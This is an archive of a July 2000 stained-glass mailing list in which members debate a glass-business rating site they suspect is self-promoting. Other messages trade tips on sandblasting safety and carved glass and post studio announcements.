listed to Powell's, which got 1/2 star (?)...of course Powell's prices are 
higher, the work is professional and blows the 1st site away. It's like 
comparing plastic canvas to Picasso....lol
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From owner-glass Wed Jul 26 16:48:10 2000
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X-Path: aol.com!Fsagg
From: Fsagg@aol.com
To: glass@bungi.com
Content-Type: text/plain; charset="US-ASCII"
Subject: illegal to link?
Date: Wed, 26 Jul 2000 19:01:59 EDT
Message-ID: <1970Jan1.000.0>
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Is it illegal to link other people's sites to your own without their 
permission? I understand that we are in the "wild west" so to speak in terms 
of Internet law & development. Could individuals substantiate lawsuits on the 
grounds of this (defamation, slander, although I do know those are not exact 
terms that would describe such action as the rating system causes, but I can' 
think of the exact term at the moment....to cause loss of profit or 
business....I studied it in media law, just wish I could remember the term 
for it, as this website is doing it...also, credentials of the "judge" are 
not  given, substantiated, etc.  Although the disclaimer attached to the site 
professes that its use is for ease of shopping, it is just obviously in poor 
taste. Now, in terms of quality of workmanship, creativity, esthetics, 
originality of design...anybody want to start a rating system? LOL     
----
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From owner-glass Wed Jul 26 17:05:54 2000
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X-Path: freegraphics.com!webmaster
From: "Claire Amundsen Schaeffer" <webmaster@freegraphics.com>
To: <glass@bungi.com>
Content-Type: text/plain;
Subject: Re: A-1-Stained-Glass-Links.com..this is scary
Date: Wed, 26 Jul 2000 19:22:53 -0400
Message-ID: <1970Jan1.000.0>
References: <<1970Jan1.000.0>>
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> I also visited this "rating system," which maybe created solely
for the
> creator's purpose of being able to put herself/hisself at the
top of the
> list?

bingo! one domain name is registered to
   Stained Glass Linksd
   3959 Cheyenne Trail
   Martinez, GA 30907

the other is registered to:
   Thomas Hughes
   3959 Cheyenne Trail
   Martinez, Georgia 30907 US

Now, as someone who runs a review/ratings site
 http://www.freegraphics.com/ ) with no other authority than that
I gave myself, I obviously have no problem with review sites...
however, I won't even accept advertising from any site listed in
my directory and anything of mine I list, I say it's mine, link
to it, but don't review or rate it.

OTOH, I wouldn't be worried about the site first mentioned in
this thread -- there's not enough info to make it a well-traveled
site and the URL is frightful.

IMO,

Claire
-------
GlassJumps.com (I don't rate glass sites, I just link 'em)
http://www.glassjumps.com/
Links to 100+ Glass Resources


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From owner-glass Wed Jul 26 17:39:09 2000
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X-Path: glassjumps.com!claire
From: "Claire Amundsen Schaeffer" <claire@glassjumps.com>
To: <glass@bungi.com>
Content-Type: text/plain;
Subject: Re: A-1-Stained-Glass-Links.com..this is scary
Date: Wed, 26 Jul 2000 20:03:26 -0400
Message-ID: <1970Jan1.000.0>
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>>> I also visited this "rating system," which maybe created
solely
for the creator's purpose of being able to put herself/hisself at
the
top of the  list?<<<

bingo! one domain name is registered to
   Stained Glass Linksd
   3959 Cheyenne Trail
   Martinez, GA 30907

the other is registered to:
   Thomas Hughes
   3959 Cheyenne Trail
   Martinez, Georgia 30907 US

Now, as someone who runs a review/ratings site
 http://www.freegraphics.com/ ) with no other authority than that
I gave myself, I obviously have no problem with review sites...
however, I won't even accept advertising from any site listed in
my directory and anything of mine I list, I say it's mine, link
to it, but don't review or rate it.

OTOH, I wouldn't be worried about the site first mentioned in
this thread -- there's not enough info to make it a well-traveled
site and the URL is frightful.

IMO,

Claire
-------
GlassJumps.com (I don't rate glass sites, I just link 'em)
http://www.glassjumps.com/
Links to 100+ Glass Resources



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From owner-glass Wed Jul 26 17:56:38 2000
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From: Suzanne Gunn <gunnx4@ix.netcom.com>
To: Fsagg@aol.com
Content-Type: text/plain; charset=us-ascii
Subject: Re: illegal to link?
Date: Wed, 26 Jul 2000 19:02:48 -0500
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It would be interesting to find out if she would be willing to take a
site off her list because they dont want to be associated with it.
I would assume that if she wouldnt, you could complain to her web host
provider(?) Maybe they could help.  

One of the sites that she rated with a half star is that of a fellow
whose work Ive seen up close and personal. His craftsmanship, and
creativity **easily** surpasses that of the top rated site.

Surely people of taste arent so easily fooled.  All they have to do is
look at a few pictures.

Seems pretty rediculous to compare apples and oranges.  

Suzanne
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From owner-glass Wed Jul 26 19:30:17 2000
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From: "Hee Sun Stained Glass, LTD." <keane@heesun.com>
To: <glass@bungi.com>
Content-Type: multipart/alternative;
Subject: Maryland Invitaiton - Customer Appreciation Day & Sale
Date: Wed, 26 Jul 2000 22:17:27 -0400
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We would like to invite all bunginans to join us this weekend for our =
annual sale and customer appreciation days this Saturday and Sunday ( =
July 29 & July 30).
For more information feel free to visit the customer appreciation day =
link on our website.

Thanks for your time and we look forward to seeing those who can make =
it.

Jeanne Keane
CEO/Founder
Hee Sun Stained Glass LTD
324 Main Street
Reisterstown, MD 21136
410-833-3007
www.heesun.com


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<META content=3D"MSHTML 5.00.2614.3500" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>We would like to invite all bunginans =
to join us=20
this weekend for our annual sale and customer appreciation days this =
Saturday=20
and Sunday ( July 29 &amp; July 30).</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>For more information feel free to visit =
the=20
customer appreciation day link on our website.</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Thanks for your time and we look =
forward to seeing=20
those who can make it.</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Jeanne Keane<BR>CEO/Founder<BR>Hee Sun =
Stained=20
Glass LTD<BR>324 Main Street<BR>Reisterstown, MD =
21136<BR>410-833-3007<BR><A=20
href=3D"http://www.heesun.com">www.heesun.com</A><BR></FONT></DIV></BODY>=
</HTML>

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From owner-glass Wed Jul 26 20:19:16 2000
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X-Path: glassjumps.com!claire
From: "Claire Amundsen Schaeffer" <claire@glassjumps.com>
To: <glass@bungi.com>
Content-Type: text/plain;
Subject: Re: illegal to link?
Date: Wed, 26 Jul 2000 22:59:15 -0400
Message-ID: <1970Jan1.000.0>
References: <<1970Jan1.000.0>>
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IANAL, however.

>>Is it illegal to link other people's sites to your own without
their  permission?

No, it is not illegal (and wouldn't the web be in a sorry state
if it were).  There have been a handful of cases around linking,
but the issues are not the actual links, but the manner in how
they are linked -- making the linked material look like the
property of the site doing the linking, so-called "deep linking"
where one site links to a page deep in another site, and the
"ebay" case right now where they're invoking Trespassing laws.

>>Could individuals substantiate lawsuits on the grounds of this
(defamation, slander, although I do know those are not exact
terms that would describe such action as the rating system
causes,

Not for just a review/rating system (which is an expression of an
opinion, not a statement of fact).  To substantiate such a
lawsuit (the charge that comes first to my mind would be
"business defamation"), I believe you would have prove
"deliberate or reckless" behavior that cost you business.

But again, I Am Not A Lawyer.

Claire
--------------
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http://www.glassjumps.com/
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From owner-glass Wed Jul 26 20:47:34 2000
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From: "Candy" <candy@ghostman.com>
To: "glass@bungi.com" <glass@bungi.com>
Content-Type: text/plain; charset="us-ascii"
Subject: Re: A-1-Stained-Glass-Links.com..this is scary
Date: Wed, 26 Jul 00 21:37:13 
Message-ID: <200007270340.VAA22668@mantis.privatei.com>
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On Wed, 26 Jul 2000 19:57:02 +0100, Toby wrote:

>Thanks Pamela for bringing this Rogue to our attention.
>Take NO notice!!!
>Just ignore!
>YOU know you are good!
>
>Elisabeth 'n Toby in UK (who wasn't even listed!!)
Like Elisabeth says!

It's just a marketing tool... like some company who says "We're number 1!" and "We do 
it better!" and "Our political party knows how the people _really_ think!", and "Ford 
drivers are better!!".

If you're  a free thinker, you don't listen to any of this crap.. you go and look first. (she 
_did_ provide live links to pages, so you could check it out yourself..)

Advertising is everywhere and in every form.. I've been spending time recently, trying 
to learn how to market myself and my 'stuff' better.. (you aren't even supposed to call it 
that....)

Candy
lurking and watching the firestorm...

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From owner-glass Wed Jul 26 21:03:23 2000
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From: "STEPHEN L. FORD" <sford@istal.com>
To: "William MOWATT" <ironhors@idirect.com>,
Content-Type: multipart/alternative;
Subject: NEW EMAIL ADDRESS   --- sford@istal.com
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MY NEW EMAIL ADDRESS IS:      sford@istal.com

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From owner-glass Thu Jul 27 00:30:47 2000
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OK my turn.
The person I use for supplies in emergencies is married.  He usually does auto mechanics.  Once when I was in her studio to pick up glass I spoke with him and he said that he does "carved glass"  I asked if he could explain that and he said he would have to show me some time.  He said when I thought I was ready he might teach me how to do it.  On that A-1 sight on the women's sight that everyone is so ticked about I saw a button for carved glass so I clicked it and saw pieces of single clear glass that is rough on the edges with what appeared to be an etched picture in the middle. So the question is this.
Is the carved glass the edge or the picture.  Second what is the process. Third what opinions of it are there, is this new or what.

                                   James
James Garner
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From owner-glass Thu Jul 27 00:57:01 2000
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Subject: Sandblasting
Date: Thu, 27 Jul 2000 00:52:21 -0700 (PDT)
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This is another question not related to the earlier.
The county I live in is full of ancient Indian carving and pictures on cliff walls etc.  I don't think there is a square mile in the county that does not have them or some type of remains of them.  When I have free time I go out and try to find them and photograph them to preserve there images before they fade away.  As a result I half done some pieces inspired by the picture I have found in stained glass.  I don't know if they will sell but I enjoy making them  and one in particular is one of my best works.
Some of the pictures I have found could not be done in glass the way I have been doing them without looking odd so I came up with the idea of sandblasting the imaged on a single clear color glass piece and frame it with more glass to make a suncatcher if you will.  Well I did that and the results are both good and bad.  it looks pretty good If you look at it in a room in the house.  I like how the picture id a lot like the real thing as far as how it was made, Mine sand blasting, the original usually pecked in stone with a harder stone.  the problem is when a strong light i.e. sunlight is behind the piece the picture almost disappears.  I thought of maybe trying to stain the picture with black patina to make it a little more bold.  any suggestions.


My thoughts on sand blasting.
Sandblasting is fun and easy and is especially good for people who like.....
To eat sand.  For hours I was picking sand out of my teeth.
Like rashes.  Anywhere you skin rubs you get irritated and rashes form there.
Enjoy finding sand in unusual places after coming home from the beach.  I have know idea how it gets there, honestly.


P.S.  I must commend those who broke the A-1 mystery person.  I am considering posting my next internet crime case on this board and let you all have a crack at it.  The speed of the results was amazing.  Don't you know that artist aren't supposed to know that computer stuff?

James
James Garner
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From owner-glass Thu Jul 27 02:30:42 2000
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Subject: RE: A-1 Site
Date: Thu, 27 Jul 2000 02:03:42 +0000
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I had to smile a bit, as I read over the following email that showed up
tonight.

>Gerry,
>Thanks.  Can you do it again?  A few more days like today and my search

>placement will go up.  While you are at it, ask your chat buddies to
link to
>my page please.  Once again, thank you.
>Peace  -Marjorie Lindsey, Chairperson, A-1-Stained-Glass-Links

Now, as I noted earlier, when I visited the site last night, the counter
was at 30, and tonight when I took a peek, it was at nearly 300.  For
Marjorie, that's an order of magnitude jump, in just one day!  I smile
because I'm sure the majority of the visits were done for the same
reason I visited there, to check it out for myself.

I am also more than a bit confused at the rather remarkable reaction to
this site, as displayed within the bungi discussion group messages.  It
seems there's a bit of an over reaction, (and it's seemingly all
negative) to an Internet site that seems clearly to be aimed at
commercial finished goods sales.  How quickly the noses get out of
joint, when any sort of "ranking" or "rating" is even mentioned!

I wonder, would there be this sort of reaction if this sort of rating
system was applied to.. oh.. say.. computer accessories, or office
supplies, or maybe "sofa sized *genuine oil* paintings"?  Why is it any
different because it's stained glass?  Or maybe it's the concept of
rating stained glass in general that draws the objections?

I certainly don't pretend to have any answers, but I find it somewhat
odd that such interest can be generated so quickly for what at best can
be termed a simple start at a commercial and sales oriented web site
dealing in consumer level finished stained glass merchandise.

Peace  -Gerry, IGGA

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From owner-glass Thu Jul 27 02:31:59 2000
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From: Ken&Geneva Pepper <bitsie@jps.net>
To: Candy <candy@ghostman.com>
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Subject: Re: A-1-Stained-Glass-Links.com..this is scary
Date: Wed, 26 Jul 2000 22:01:11 -0700
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You might say your product is best, but I don't think it is legal to
knock others in the process!  Note however the care of their wording -
They are not placing judgement on quality of work but on the websites
and what they do or don't offer there - but it is extremely sneaky and
deceptive, because people assume otherwise! They are covering their
butts!

That site also managed to get top billing with the search engines, not
easy to do.  One consolation tho - The serious client is going to check
out the other sites looking for the best - and the best is certainly not
their 'four star' site or products!!!  IE - it might prove a good thing
for those linked :-)

Geneva



Candy wrote:

> 
> It's just a marketing tool... like some company who says "We're number 1!" and "We do
> it better!" and "Our political party knows how the people _really_ think!", and "Ford
> drivers are better!!".
> 
> If you're  a free thinker, you don't listen to any of this crap.. you go and look first. (she
> _did_ provide live links to pages, so you could check it out yourself..)
>

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From owner-glass Thu Jul 27 03:02:37 2000
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From: "studio@stainedglass.co.uk" <studio@stainedglass.co.uk>
To: glass@bungi.com
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Subject: Re: Comments on your site
Date: Thu, 27 Jul 2000 10:48:01 +0100
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Here are some responses by Marjorie to my comments that bear out much of
what other bungians have said and give a bit of insight into her thinking.
(mine have >>, hers have > in front of each para)

EliZabeth
====================
>>Hi there - though I think your site is a brave attempt at a different way
>>of showing links you may have already realised you have raised many hackles
>
>Yes, I know some are upset.  Oh well.... Guess they got a low rating.  My
>goal is to help the consumer, not the glass supply houses.  Consumers (at
>least me) go to the net for speed and time savings.  If suppliers jerk
>people around by not giving prices or requiring sign-ups or only having
>catalogs by mail so they can get your address, then I feel it is a service
>to the buying community to let them know.  That is what the site is all
>about.
>
>>1.  One comment - you seem to be rating supplies sites purely on the basis
>>of what is shown on the web rather than the real world - already I have
>>seen comments on sites highly rated by you that consumers say dont actually
>>have many items in stock!!
>
>Being out of stock is a real world situation for all businesses.  There is
>no way I can or will place sample orders with hundreds of suppliers to
>determine who stocks out frequently.  But that does lead to an interesting
>idea, I might put in a posting page for customer comments for each supplier.
>Then those issues will surface.
>
>>2.  Also perhaps you could think about rating mail-order supplies sites
>>separately from 'proper' retail shops?  Not all webbrowsers are looking to
>>buy online - especially when glass is the needed item - many prefer to
>>handpick their own so they may be looking for a retail shop to visit!
>
>I will think about that, but I lean towards keeping them together.  If a
>supplier wants to be on the web, they should sell on the web.  If they want
>to be strictly a mail order catalog, it is cheap enough to direct mail to
>all the glass retailers.  I own a business where we direct mail to about
>30,000 potential customers every year, there are only about 3-4000 stained
>glass retailers in the USA.;
>
>>3.  Although then I imagine you would have to send out a questionnaire to
>>suggested linked sites asking if they satisfy whatever criteria you are
>>setting out, as it would not necessarily be obvious from the webpages.
>>Questions that come to mind instantly might include:
>>Do you carry a good range of Machine opalescents, handrolled art glass,
>>general cathedral glasses, tools, bevels, variety of lead cames, books and
>>patterns?
>>Can you advise customers on design problems?
>>Do you run classes?
>>If so, in what techniques?  To what level(s)?
>>Can your customers use your loo (Rest room)?
>>Will they be offered a cup of coffee/tea/donuts/sweets(candy)?
>>Some of the above might seem trivial but are important to many customers
>>
>>Not all suppliers with web presences are wanting to change themselves into
>>pick-pack-post concerns.
>>For example we are trying to let the world and locals know that if they are
>>looking for a retail shop with a full range of supplies and plenty of
>>experienced advice and help offered then why not call in and have a cup of
>>coffee while browsing the shelves?
>>
>It sounds like you are attempting to tap into a world market and remain a
>local glass shop.  I think you might want to re-consider becoming a
>"pick-pack-post concerns".  The world is a much larger playing field.
>
>>4.  Also speaking as a UK based company perhaps an indication of location
>>by at least country would help - particularly when considering a studio.
>>Potential visitors would probably be looking for someone within driving
>>distance when considering commissioning a window!
>>
>I was considering putting a page link on my site that was written by the
>vendors, where they could express anything they liked.  My site is still in
>the infancy stage, it took hundreds of hours researching to get it where it
>is, there will be lots of changes in the future.
>
>>5.  Your page listing some commission studios doesnt say clearly at the top
>>that it is for this purpose - just says it is for retail or wholesale
>>shoppers.  Perhaps you could expand the title to mention it is for people
>>looking for made-up stained glass items.
>>It is not clear whether the studios are offering to design and make windows
>> - or lamps - or Angel suncatchers - or boxes - or whatever!
>>
>I geared the site to my shopping habits, namely no time, find it buy it and
>move on.  Most studios that I have been in have pieces made up ready to see
>and do custom work.  I view the Internet as a fast get it done tool, where
>custom work does not fit.  Guess I need to re-think that some, there are
>occasions where custom work is required.... Thank you.
>
>>6.  Perhaps again you could split the mail order concerns - where items are
>>offered already completed to choose from - from the studios undertaking
>>individual commissions to customer specifications and architectural glass
>>for buildings.  These are two equally important aspects of stained glass
>>'Art' but two very different aspects.  The heading 'over 200 items' would
>>only be applicable to an online catalogue, whereas a studio would be making
>>well over 200 different windows a year, but there is no heading to indicate
>>this.  Or is this what the 'Specials' heading is supposed to cover? (If so
>>please amend our listing to read 'yes' here!!)
>>
>>Looking at this page it appears to suggest that the online catalogues are
>>somehow superior to Powell Bros Studios - which is a peculiar way to think
>>of the difference between them!
>
>The goal of this site is not to judge quality of Art.  It is an attempt to
>give customers a "heads-up" on what to expect.  If the site does not quote
>prices or rates or method of pricing, then the customer should be aware of
>that.  Personally, I prefer to shop where prices are posted, or at least
>where I can figure them out, not where it is priced at what ever the
>customer can afford or be pressured into spending, and yes, most people view
>web shopping as an on-line catalog.  As far as custom houses that do over
>200 items per year, they should show them, or at least a few hundred of them
>with what the customer was charged.
>
>>
>>I am sure you are not meaning to imply this - but if you were to make
>>several different categories - one 'Mail Order Gifts'  - another 'Stained
>>Glass Windows and Architectural Installations'  - another 'Stained Glass
>>Lampshades and 3-D Commissions' - you would then be offering a definite
>>service to those searching for something specific, rather than just listing
>>the sites all jumbled up as they are now.
>
>Again, my first cut at the project.  It will improve and be expanded in the
>future.
>
>>
>>I hope I have not offended by my comments as it is not my intention - but
>>you did ask!!
>>
>
>No, I am not offended.  Thank you for your input.
>
>I hope you are not offended by the rating system.  I have no hidden agenda.
>One thing you should know, is that I reviewed hundreds and hundreds of sites
>that were not even worthy of getting a mention on my site, I listed only the
>best of what I found.
>
>Marjorie
>"Tom Hughes" <THughes@fancyglassandexotics.com>
>-----Original Message-----
>From: studio@stainedglass.co.uk <studio@stainedglass.co.uk>
>To: MLindsey@a-1-stained-glass-links.com
><MLindsey@a-1-stained-glass-links.com>
>Date: Wednesday, July 26, 2000 1:55 PM
>Subject: Comments on your site
>
Bournemouth Stained Glass
http://www.stainedglass.co.uk
UK Charter Member RAGS

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From owner-glass Thu Jul 27 03:04:37 2000
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From: "studio@stainedglass.co.uk" <studio@stainedglass.co.uk>
To: glass@bungi.com
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Subject: Re: Stephen Ford
Date: Thu, 27 Jul 2000 10:47:57 +0100
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Well - now we all know that Stephen has a new email address (three messages)
What I want to know is...Who is he?

Regards
EliZabeth in Bournemouth
hjttp://www.stainedglass.co.uk

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From owner-glass Thu Jul 27 03:17:26 2000
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From: Pamela Burns-Tappan <ptap@pacifier.com>
To: "glass@bungi.com" <glass@bungi.com>
Content-Type: text/plain; charset=us-ascii
Subject: Re: A-1 Stained-Glass and search engines
Date: Fri, 28 Jul 2000 01:25:56 -0700
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I came by this site because as an ODP editor (shopping/crafts/glass,
shopping/crafts/stained_glass and shopping/crafts/hot glass) I have to
evaluate whether or not this site deserves to be listed in the Netscape
search engine. It's my opinion that this site does not meet ODP
guidelines for content and so I'll delete it from our search engine but
it will pop up on others.

The criteria for ODP regarding submissions is pretty strict. In fact I
think I've probably added a few of you to the Netscape search engine. If
you haven't submitted your site you can do so here:
http://dmoz.org/Shopping/Crafts/Glass/

If your interested in finding out how other sites rank compared to yours
you can sign up at The Informant http://informant.dartmouth.edu/

The informant sends you a weekly list of websites and shows you how your
site ranks compared to others regarding search engines. If your
interested in how you rank then it's kind of fun.

Take care,

Pam



--

Ms. Pamela Burns-Tappan
Executive Director
The Stained Glass Artists
http://stainedglassartists.com
A Division of: Moswood Mountain Ltd.
http://moswoodmountainltd.com


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From owner-glass Thu Jul 27 03:36:19 2000
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From: "studio@stainedglass.co.uk" <studio@stainedglass.co.uk>
To: glass@bungi.com
Content-Type: text/plain; charset="us-ascii"
Subject: Re: Sandblasting
Date: Thu, 27 Jul 2000 10:58:12 +0100
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At 00:52 27/07/00 -0700, James wrote:
>  the problem is when a strong light i.e. sunlight is behind the piece the
picture almost >disappears.  I thought of maybe trying to stain the picture
with black patina to make it a >little more bold.  any suggestions.

If it is lines blasted into the glass - not larger areas of abraded glass -
try wiping any old oil-based paint into the lines and then cleaning off the
rest of the glass.  This should make it show more in most lights.  Larger
areas are difficult to get looking even, so we only use it on line work


>My thoughts on sand blasting.
>Sandblasting is fun and easy and is especially good for people who like.....
>To eat sand.  For hours I was picking sand out of my teeth.
>Like rashes.  Anywhere you skin rubs you get irritated and rashes form there.


Please tell us you arent using real sand - apparently it breaks down so
small it cant be kept out of your lungs by any filters!
Also you should protect your skin too whatever blasting medium you are using.
Can you set up some sort of booth to work in, so you are outside with only
your hands inside with the grit?
Someone on bungi once posted a site with a homemade blasting booth I think,
so maybe they can re-post?

Regards
EliZabeth in Bournemouth
http://www.stainedglass.co.uk
Bournemouth Stained Glass
http://www.stainedglass.co.uk
UK Charter Member RAGS

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From owner-glass Thu Jul 27 04:33:23 2000
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X-Path: alpha.nad.adelphia.net!alewis
From: "Albert Lewis" <alewis@alpha.nad.adelphia.net>
To: glass@bungi.com
Subject: Stained Glass: Best Rated Sites
Summary: Authenticated sender is <alewis@pop.nad.adelphia.net>
Date: Thu, 27 Jul 2000 07:24:11 +0000
Message-ID: <200007271121.HAA24629@alpha.nad.adelphia.net>
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Um, seems to be a lot of upset over pretty much not much a'tall IMHO. 
And speaking of Humble Opinions, that's what the site seems to be 
offering: the web owner's opinions as to the "best" sites, or the 
"best rated" sites, as she puts it, which of course would indicate 
that she's done the best job of rating sites, rather than that she's 
rating them "the best," but syntax isn't everything. <sigh>

Comments here about the site seem driven by a certain green-eyed 
attitude in quite a few instances. Anyone who disagrees with the 
ratings can certainly mount their *own rating site and express their 
*own opinions as to what is "best" or "best rated" (whatever) ... is 
this a great country or what?

Guess we'll have to expand that, given the world-wide reach of the 
'net: Is this a great world, or what? <grin>

Note: me-2-stained-glass-links.com is available. <VBG>

Albert
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From owner-glass Thu Jul 27 06:04:38 2000
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X-Path: heesun.com!keane
From: "Hee Sun Stained Glass, LTD." <keane@heesun.com>
To: <glass@bungi.com>
Content-Type: text/plain;
Subject: Maryland Invitation - Customer Appreciation Day
Date: Thu, 27 Jul 2000 08:25:19 -0400
Message-ID: <1970Jan1.000.0>
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Sorry about the first message, apparently the settings on my laptop were set
to html and not text so here's the message again.

We would like to invite all bunginans to join us this weekend for our annual
sale and customer appreciation days this Saturday and Sunday ( July 29 &
July 30).
For more information feel free to visit the customer appreciation day link
on our website.

Thanks for your time and we look forward to seeing those who can make it.

Jeanne Keane
CEO/Founder
Hee Sun Stained Glass LTD
324 Main Street
Reisterstown, MD 21136
410-833-3007
jeanne@heesun.com
www.heesun.com


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From owner-glass Thu Jul 27 10:17:45 2000
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X-Path: aol.com!Bobfuses
From: Bobfuses@aol.com
To: officerjqg@go.com, glass@bungi.com
Content-Type: text/plain; charset="US-ASCII"
Subject: Re: Sandblasting
Date: Thu, 27 Jul 2000 12:55:51 EDT
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In a message dated 7/27/00 12:57:37 AM Pacific Daylight Time, 
officerjqg@go.com writes:

> My thoughts on sand blasting.
>  Sandblasting is fun and easy and is especially good for people who 
like.....
> To eat sand.  For hours I was picking sand out of my teeth.

Let's see. How to be kind and still get the point across to the degree of 
importance it deserves. 

You are killing yourself if you sandblast and have grit in your teeth because 
much more is accumulating in your lungs. Enough said.

Go to: http://personal.fundy.net/fpweb/1-answer.htm and start reading to find 
out about the art of sandblasting. Your many questions should be well 
answered there.

Cheers, Bob in 9 2 0 2 6
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From owner-glass Thu Jul 27 11:20:59 2000
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X-Path: pacifier.com!ptap
From: Pamela Burns-Tappan <ptap@pacifier.com>
To: "glass@bungi.com" <glass@bungi.com>
Content-Type: text/plain; charset=us-ascii
Subject: A-1 why are we interested
Date: Fri, 28 Jul 2000 10:10:35 -0700
Message-ID: <1970Jan1.000.0>
Organization: Stained Glass Artists
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O.k. at the risk of having Howard come on here and tell us to start
putting NG before these posts I'll comment regarding what Gerry said.
(I meant that lovingly Howard :)

Gerry said: (snip) I wonder, would there be this sort of reaction if
this sort of rating
system was applied to.. oh.. say.. computer accessories, or office
supplies, or maybe "sofa sized *genuine oil* paintings"?  Why is it any
different because it's stained glass?  Or maybe it's the concept of
rating stained glass in general that draws the objections?

I certainly don't pretend to have any answers, but I find it somewhat
odd that such interest can be generated so quickly for what at best can
be termed a simple start at a commercial and sales oriented web site
dealing in consumer level finished stained glass merchandise. (end)


My first thought regarding this site was the harmful intent. When a
business has a .com general public opinion would be that the site or
business is serious about what they do. Domain names give you heightened
appeal and more validity on the net. Consumers realize that if you have
a .com or domain name your a serious business and potential art glass
clients who view this site will get the wrong idea about good glass
businesses.

So here you have a business (A-1) who is not qualified to judge glass
industry at all and can potentially draw consumers away from good glass
businesses simply because of opinion. Yes it's a free country or so we
say in the U.S. but.....public opinion matters, look at the O.J. Simpson
case, five years later we're still debating the verdict. O.k. bad
example (he's guilty as sin DNA doesn't lie) but you get the point,
public opinion matters when your in business, it's as simple as that.

Take hotels for instance. Your choosing hotels. Do you stay at a hotel
that has a 5 star rating or choose the hotel with the 1/2 star? Of
course the hotel with the 1/2 star is probably located on prostitution
row in the bad part of town. I looked at the 1/2 stars regarding the A-1
ranking system and nobody will even click on those links and business
losses may be the result. I mean for gods sake, Summit has what a 1/2
star? Last time I checked Mike was listed as an SGAA member.

I think we can all agree on one thing here and that is no matter what
realm of art business your in, most websites don't post prices on
everything. In stock fabricated items you will see prices on but square
footage pricing etc. you really don't see alot of that and for good
reason. A-1 was frustrated because they couldn't find what they wanted
in a general search of glass businesses. Why they just didn't buy Dale
Tiffany at Home Base is beyond me. They say they are ranking websites
due to ease of website content, pricing etc. but that wasn't my first
opinion about the lower ranked websites at all. My first opinion was
they weren't worth even clicking on and that is what most consumers I
bet will do, why waste your time on a 1/2 star?

Regarding computer accessories, oil paintings etc. If I'm going to spend
the money,  I do my homework well. And I do consider the opinions of
others when making a decision regarding products. If PC Magazine rates a
product high then I'll usually go with that product. I mean if it looks
like a duck and acts like a duck it must be a duck right? :) Same theory
with A-1 and the un-informed consumer unfortunately.


Pam



--

Ms. Pamela Burns-Tappan
Executive Director
The Stained Glass Artists
http://stainedglassartists.com
A Division of: Moswood Mountain Ltd.
http://moswoodmountainltd.com


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From owner-glass Thu Jul 27 13:08:49 2000
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X-Path: cs.com!Greerstudios
From: Greerstudios@cs.com
To: glass@bungi.com
Content-Type: text/plain; charset="US-ASCII"
Subject: Help!
Date: Thu, 27 Jul 2000 15:51:15 EDT
Message-ID: <1970Jan1.000.0>
Precedence: bulk

Hi everyone!

Can someone please send me Charlie Spitzer's addy??  It just disappeared in 
the ozone somewhere before I could save it in my new address book.... stunned 
by technology again!

Hope everyone is doing well... I miss you all but am sure making good use of 
the time.  We just finished opening a show entitled, "Saints, Sinners, and 
Symbols".  Managed to build a spare 25 stained glass windows and mosaic 
murals in between the regular work.  All I can say is, "Never again!"

Glenna, let me know how things are going with you, too.  Did you move yet??  
Anyone, feel free to drop me a line off-bungi.

Thanks! ;-D

Dani

Greer Gallery & Studios     
www.igga.org/greer/  or  www.artistsregister.com (for some newer stuff)
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From owner-glass Thu Jul 27 13:57:16 2000
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X-Path: gdi.net!shodge
From: Skip Hodge <shodge@gdi.net>
To: Glass@bungi.com
Content-Type: text/plain; charset=us-ascii
Subject: Painted Face
Date: Thu, 27 Jul 2000 16:36:01 -0400
Message-ID: <1970Jan1.000.0>
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Hello All,

Someone was looking for someone to do a painted face of Christ in an
oval.

My suggestion is:
Rose Zettler 407-382-1682 Orlando FL.
Rose is AWSOME

Skip
Southern Exposure Stained Glass Supply, Inc.
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From owner-glass Thu Jul 27 14:56:07 2000
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X-Path: pacbell.net!ezbongo2
From: rrk <ezbongo2@pacbell.net>
To: Claire Amundsen Schaeffer <claire@glassjumps.com>
Content-Type: text/plain; charset=us-ascii
Subject: Re: A-1-Stained-Glass-Links.com..this is scary
Date: Thu, 27 Jul 2000 14:37:48 -0700
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Claire Amundsen Schaeffer wrote:

> >>> I also visited this "rating system," which maybe created
> solely
> for the creator's purpose of being able to put herself/hisself at
> the
> top of the  list?<<<
>
> bingo! one domain name is registered to
>    Stained Glass Linksd
>    3959 Cheyenne Trail
>    Martinez, GA 30907
>
> the other is registered to:
>    Thomas Hughes
>    3959 Cheyenne Trail
>    Martinez, Georgia 30907 US

Hi folks,

Interesting debate.

At first I thought this was merely another specialized rating site
albeit a site using rating criteria appropriate for one group
(suppliers) and inappropriate for another group (artists :
individuals, small and large studios).

<shrug>

So what?

Big deal.

Chalked it up to stupidity, a measurable characteristic not found in
limited quantities.

I'm supposed to get worried about a site with 30 visitors total?

If it was 30/sec or even 30/hr, then it would be something to be
concerned about.

However, the particular email I'm responding to (from Claire) brings
up another point altogether.

All other considerations aside, representing one's self (through a
website) to have an unbiased rating system when in fact there is a
fiduciary interest in the highest rated of the sites has a specific
appellation; namely, fraud.  Fraud carries civil penalties (if
specific damages can be demonstrated) as well as criminal penalties.
Prosecution of the latter are independent of any potential claims in
civil court and generally all you have to do is bring the matter to
the attention of the proper authorities.

Now, we have enough baloney on the internet to feed lunch to the
entire population of NYC for the next 5 decades.  AOL is at the head
of the line.  You can't stop it all.  I don't even try for the most
part.

EXCEPT, this is OUR domain.

Who is going to do something about this if we don't?

Personally, regardless of what anyone else does, I'm going to keep an
eye on this site (in my non-existent spare time <smile>).  If the
number of visitors increases to something significant, I'll do
something about it independently of the others in this forum.  First,
I'll verify the possibility of fraud.  If what I find isn't kosher,
I'll do some reporting to the proper Federal, State, and County
authorities (this is the internet so by definition this crosses state
lines <VEG>) as well as the internet authorities such as they are
(Internic et. al.).  I'll bet a large stack of dollars that Internic
will rescind the registration of the domain name if I report finding
fraudulent claims on a specific website.

Anyway, gotta keep movin'.  My son wanted a football (he's been
playing at school with a couple of his buds) so I got him one today.
I'm going out here in a bit to show him how to pass.  Hard to beat
that for a summertime activity. <smile>  His mom is a "soccer mom"
type, but I guess she's not going to have much say-so on this one.
<G>

Regards to all ...... Bob K.

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From owner-glass Thu Jul 27 16:26:49 2000
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X-Path: go.com!officerjqg
From: James Garner <officerjqg@go.com>
To: glass@bungi.com
Content-Type: text/plain; charset=iso-8859-1
Subject: Sandblasting
Date: Thu, 27 Jul 2000 13:21:08 -0700 (PDT)
Message-ID: <1970Jan1.000.0>
Precedence: bulk

